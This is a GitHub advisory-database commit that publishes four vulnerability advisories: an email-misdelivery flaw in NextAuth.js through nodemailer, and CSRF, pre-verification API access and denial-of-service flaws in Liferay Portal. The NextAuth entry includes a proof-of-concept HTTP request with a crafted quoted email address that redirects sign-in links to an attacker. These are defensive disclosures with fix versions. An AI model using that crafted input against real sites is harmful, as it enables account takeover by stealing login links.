Skip to content

Commit 5573d3e

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-5jpx-9hw9-2fx4 GHSA-gh4w-8qgq-8w9r GHSA-gv7w-jh8g-vr73 GHSA-vgqx-447m-wvcj
1 parent 826ce1a commit 5573d3e

File tree

4 files changed

+177
-12
lines changed

4 files changed

+177
-12
lines changed

‎advisories/github-reviewed/2025/10/GHSA-5jpx-9hw9-2fx4/GHSA-5jpx-9hw9-2fx4.json‎

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5jpx-9hw9-2fx4",
4+
"modified": "2025-10-29T10:43:58Z",
5+
"published": "2025-10-29T10:43:57Z",
6+
"aliases": [],
7+
"summary": "NextAuthjs Email misdelivery Vulnerability",
8+
"details": "### Summary\n\nNextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`'s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as:\n\n```\n\"[email protected]\"@victim.com\n```\n\nis parsed incorrectly and results in the message being delivered to `[email protected]` (attacker) instead of `\"<[email protected]>@victim.com\"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.\n\n<h2>Affected NextAuthjs Version</h2>\n\n≤ Version | Afftected\n-- | --\n4.24.11 | Yes\n5.0.0-beta.29 | Yes\n\n\n## POC\n\nExample Setup showing misdelivery of email \n\n```jsx\nimport NextAuth from \"next-auth\"\nimport Nodemailer from \"next-auth/providers/nodemailer\"\nimport { PrismaAdapter } from \"@auth/prisma-adapter\"\nimport { prisma } from \"@/lib/prisma\"\n\nexport const { handlers, auth, signIn, signOut } = NextAuth({\n adapter: PrismaAdapter(prisma),\n providers: [\n Nodemailer({\n server: {\n host: \"127.0.0.1\",\n port: 1025,\n ...\n },\n from: \"[email protected]\",\n }),\n ],\n pages: {\n signIn: '/auth/signin',\n verifyRequest: '/auth/verify-request',\n },\n})\n\n```\n\n```jsx\nPOST /api/auth/signin/nodemailer HTTP/1.1\nAccept-Encoding: gzip, deflate, br, zstd\nCache-Control: no-cache\nConnection: keep-alive\nContent-Length: 176\nDNT: 1\nHost: localhost:3000\nOrigin: http://localhost:3000\nPragma: no-cache\nReferer: http://localhost:3000/auth/signin\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36\naccept: */*\naccept-language: en-US,en;q=0.9,ta;q=0.8\ncontent-type: application/x-www-form-urlencoded\nsec-ch-ua: \"Google Chrome\";v=\"141\", \"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"141\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nx-auth-return-redirect: 1\n\nemail=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin\n```\n\n<img width=\"1247\" height=\"1408\" alt=\"Screenshot from 2025-10-25 21-15-25\" src=\"https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f\" />\n<img width=\"1279\" height=\"1450\" alt=\"Screenshot from 2025-10-25 21-14-47\" src=\"https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f\" />\n\n# Mitigation\n\nUpdate to nodemailer 7.0.7\n\n## Credits\n\nhttps://zeropath.com/ Helped identify this security issue",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "next-auth"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.24.12"
30+
}
31+
]
32+
}
33+
]
34+
},
35+
{
36+
"package": {
37+
"ecosystem": "npm",
38+
"name": "next-auth"
39+
},
40+
"ranges": [
41+
{
42+
"type": "ECOSYSTEM",
43+
"events": [
44+
{
45+
"introduced": "5.0.0-beta.0"
46+
},
47+
{
48+
"fixed": "5.0.0-beta.30"
49+
}
50+
]
51+
}
52+
]
53+
}
54+
],
55+
"references": [
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-5jpx-9hw9-2fx4"
59+
},
60+
{
61+
"type": "WEB",
62+
"url": "https://github.com/nextauthjs/next-auth/commit/82efcf81f218aae43683f8dd2f7c260ef69b3ece"
63+
},
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/nextauthjs/next-auth/commit/8f3b2c7af0fe08973a12f616517c3ec85a5cd172"
67+
},
68+
{
69+
"type": "PACKAGE",
70+
"url": "https://github.com/nextauthjs/next-auth"
71+
}
72+
],
73+
"database_specific": {
74+
"cwe_ids": [
75+
"CWE-200"
76+
],
77+
"severity": "MODERATE",
78+
"github_reviewed": true,
79+
"github_reviewed_at": "2025-10-29T10:43:57Z",
80+
"nvd_published_at": null
81+
}
82+
}

advisories/unreviewed/2025/10/GHSA-gh4w-8qgq-8w9r/GHSA-gh4w-8qgq-8w9r.json renamed to advisories/github-reviewed/2025/10/GHSA-gh4w-8qgq-8w9r/GHSA-gh4w-8qgq-8w9r.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,49 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-gh4w-8qgq-8w9r",
4-
"modified": "2025-10-28T00:31:26Z",
4+
"modified": "2025-10-29T10:44:27Z",
55
"published": "2025-10-28T00:31:26Z",
66
"aliases": [
77
"CVE-2025-62258"
88
],
9+
"summary": "Liferay Portal Vulnerable to CSRF in Headless APIs",
910
"details": "CSRF vulnerability in Headless API in Liferay Portal 7.4.0 through 7.4.3.107, and Liferay DXP 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions allows remote attackers to execute any Headless API via the `endpoint` parameter.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V4",
1314
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "com.liferay.portal:release.portal.bom"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "7.4.0-ga1"
29+
},
30+
{
31+
"fixed": "7.4.3.108"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62258"
2142
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/liferay/liferay-portal"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-62258"
@@ -29,8 +54,8 @@
2954
"CWE-352"
3055
],
3156
"severity": "HIGH",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2025-10-29T10:44:26Z",
3459
"nvd_published_at": "2025-10-27T23:15:38Z"
3560
}
3661
}

advisories/unreviewed/2025/10/GHSA-gv7w-jh8g-vr73/GHSA-gv7w-jh8g-vr73.json renamed to advisories/github-reviewed/2025/10/GHSA-gv7w-jh8g-vr73/GHSA-gv7w-jh8g-vr73.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,49 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-gv7w-jh8g-vr73",
4-
"modified": "2025-10-28T00:31:26Z",
4+
"modified": "2025-10-29T10:44:39Z",
55
"published": "2025-10-28T00:31:26Z",
66
"aliases": [
77
"CVE-2025-62259"
88
],
9+
"summary": "Liferay Portal Does Not Limit Access to APIs Before Email Verification",
910
"details": "Liferay Portal 7.4.0 through 7.4.3.109, and older unsupported versions, and Liferay DXP 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions does not limit access to APIs before a user has verified their email address, which allows remote users to access and edit content via the API.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V4",
1314
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "com.liferay.portal:release.portal.bom"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "7.4.0-ga1"
29+
},
30+
{
31+
"fixed": "7.4.3.110"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62259"
2142
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/liferay/liferay-portal"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-62259"
@@ -29,8 +54,8 @@
2954
"CWE-863"
3055
],
3156
"severity": "MODERATE",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2025-10-29T10:44:39Z",
3459
"nvd_published_at": "2025-10-27T23:15:38Z"
3560
}
3661
}

advisories/unreviewed/2025/10/GHSA-vgqx-447m-wvcj/GHSA-vgqx-447m-wvcj.json renamed to advisories/github-reviewed/2025/10/GHSA-vgqx-447m-wvcj/GHSA-vgqx-447m-wvcj.json

Lines changed: 37 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,57 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vgqx-447m-wvcj",
4-
"modified": "2025-10-28T00:31:26Z",
4+
"modified": "2025-10-29T10:44:49Z",
55
"published": "2025-10-28T00:31:26Z",
66
"aliases": [
77
"CVE-2025-62260"
88
],
9+
"summary": "Liferay Portal Vulnerable to DoS via Crafted Headless API Request",
910
"details": "Liferay Portal 7.4.0 through 7.4.3.99, and Liferay DXP 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions does not limit the number of objects returned from Headless API requests, which allows remote attackers to perform denial-of-service (DoS) attacks on the application by executing a request that returns a large number of objects.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V4",
1314
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "com.liferay.portal:release.portal.bom"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "7.4.0-ga1"
29+
},
30+
{
31+
"fixed": "7.4.3.100"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62260"
2142
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/liferay/liferay-portal/commit/5f5c73913b0e7287f7de0b4e19987cc57844b691"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/liferay/liferay-portal"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://liferay.atlassian.net/browse/LPE-17800"
54+
},
2255
{
2356
"type": "WEB",
2457
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-62260"
@@ -29,8 +62,8 @@
2962
"CWE-400"
3063
],
3164
"severity": "HIGH",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2025-10-29T10:44:49Z",
3467
"nvd_published_at": "2025-10-27T22:15:41Z"
3568
}
3669
}

0 commit comments

Comments
 (0)